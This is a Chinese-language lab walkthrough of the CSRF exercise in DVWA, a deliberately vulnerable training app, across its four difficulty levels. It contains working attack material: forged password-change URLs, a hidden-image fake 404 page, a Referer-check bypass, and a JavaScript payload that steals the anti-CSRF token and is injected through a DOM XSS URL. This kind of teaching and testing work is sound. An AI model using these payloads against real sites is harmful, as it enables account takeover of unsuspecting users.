前言
CSRF, 跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性, 两者区别于CSRF是跨站请求, XSS是跨站攻击。但事实上CSRF与XSS差别很大,XSS利用的是站点内的信任用户,而CSRF则是通过伪装来自受信任用户的请求来利用受信任的网站。
CSRF通过伪装来自受信任用户的请求来利用受信任的网站。通俗的说就是攻击者利用了你的身份(比如利用cookie登录),发送了恶意请求。就好比黑客盗用了你的qq然后假装是你,骗你朋友要钱。(也可以理解为钓鱼网站)
下面分别分析四种难度:
-
Low
服务端核心代码:
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
可以看到, 服务端只是对两次输入的新密码进行对比是否相等, 然后对数据库进行更新, 并采用md5加密。也没有任何的防CSRF机制(当然服务器对请求的发送者是做了身份验证的,是检查的cookie,只是这里的代码没有体现)。
漏洞利用
就像之前的博客 漏洞之CSRF攻击 举例所述, CSRF攻击者可以构造链接或者页面, 诱导受害者点击之, 从而完成不察觉的攻击。
1. 最基础的构造链接
http://localhost/DVWA/vulnerabilities/csrf/index.php
?password_new=hack
&password_conf=hack
&Change=Change#
当受害者点击了这个链接, 密码就会被改为hack, (当然了, 在真实的环境下是公网的ip, 这里只做一个本地的演示)
查看一下数据库里的密码是否更改了, 发现密码是md5加密的, 我们解密:
CSRF最关键的是利用受害者的cookie向服务器发送伪造请求, 这里还有一个小知识点: A游览器留下的cookie不能在B游览器上使用。
所以当了受害者用了不同的游览器点击链接时, 攻击是不会被触发的。
事实上, 不得不说这个链接太明显了,不会有人点, 所以真正攻击场景下,我们需要对链接做一些处理。
2. 缩短攻击链接
用百度短网址工具:
https://dwz.cn/
需要提醒的是,虽然利用了短链接隐藏url,但受害者最终还是会看到密码修改成功的页面,所以这种攻击方法也并不高明。
3. 构造攻击页面
一般是构造与原网站一样钓鱼页面, 或者404页面
构造404攻击页面 hack.html (真实的攻击一般是在公网上, 这里就在本地访问演示):
<img src="http://localhost/DVWA/vulnerabilities/csrf/index.php?password_new=hack&password_conf=hack&Change=Change#" border="0"style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>
当受害者访问之后, 会出现404的页面, 事实上他已经被攻击了:
-
Medium
服务端核心代码:
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
$html .= "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
- stripos() 函数
查找字符串在另一字符串中第一次出现的位置(不区分大小写)
可以看到, 服务端对Referer来源进行了对比判断, 变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名), 从而防止了跨站请求攻击
漏洞利用
这样的做法依然存在漏洞,
1. 攻击者可以通过抓包修改Referer信息, 从而绕过防御。(事实上, 这样的抓包不太现实)
2. 过滤规则是http包头的Referer参数的值中必须包含主机名 (这里是192.168.10.105), 我们这里首先可以将之前的伪装404攻击页面重命名为: (受害者ip).html, 如 192.168.10.105.html
<img src="http://192.168.10.105/DVWA/vulnerabilities/csrf/index.php?password_new=hack&password_conf=hack&Change=Change#" border="0"style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>
放置在攻击者的服务器 (192.168.10.100) 上, 当受害者打开这个网页时, 就会触发攻击:
事实上, 在真实环境中, 受害者的ip和攻击者的ip是处于公网的环境下的, 可以相互访问。上述攻击原理就是通过将攻击页面放置在攻击者的服务器中, 诱使受害者点击从而发动不易察觉的攻击 (攻击页面与原页面很相似, 甚至域名都很像)。虽然Medium级别中对Referer进行了判断, 过滤规则仅仅是Referer中必须包含(受害者ip)主机名, 攻击者只要将攻击页面的名字命名为与受害者ip一致即可绕过过滤, 从而发起攻击。
-
High
服务端核心代码:
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
漏洞利用
要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。
这里结合xss攻击, 试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击 (本地演示)
攻击代码: xss.js
var theUrl = 'http://127.0.0.1/DVWA/vulnerabilities/csrf/index.php';
var pass = 'admin';
xmlhttp=new XMLHttpRequest();
xmlhttp.withCredentials = true;
var hacked = false;
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
var text = xmlhttp.responseText;
var regex = /user_token' value='(.*)' />/;
var match = text.match(regex);
var token = match[1];
var new_url = 'http://127.0.0.1/DVWA/vulnerabilities/csrf/index.php?user_token='+token+'&password_new='+pass+'&password_conf='+pass+'&Change=Change'
if(!hacked){
alert('Got token:' + match[1]);
hacked = true;
xmlhttp.open("GET", new_url, false );
xmlhttp.send();
}
count++;
}
};
xmlhttp.open("GET", theUrl );
xmlhttp.send();
当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。
结合DOM XSS:
注入刚写的 xss.js 脚本:
http://localhost/DVWA/vulnerabilities/xss_d/index.php?default=English#<script src="http://localhost/DVWA/vulnerabilities/csrf/xss.js"></script>
弹出消息,说明攻击成功,此时admin的password已经改为了admin。
值得一提的是, 攻击者服务器A和受害者服务器B要么都处于公网中, 要么都处于局域网中(正如上一级别所演示的), 若B处于局域网中, 而A在公网中, A是无法访问到B的, 因为局域网(C类ip)太多了, A根本无法定位B; 所以现在是不允许跨域请求的。
-
Impossible
服务端核心代码:
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match or current password incorrect.</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
发现在impossible级别中, 将当前用户密码验证成功才能修改新密码, 这也是现在流行的做法, 从根本上杜绝了cookie被利用的情况。
-
参考文章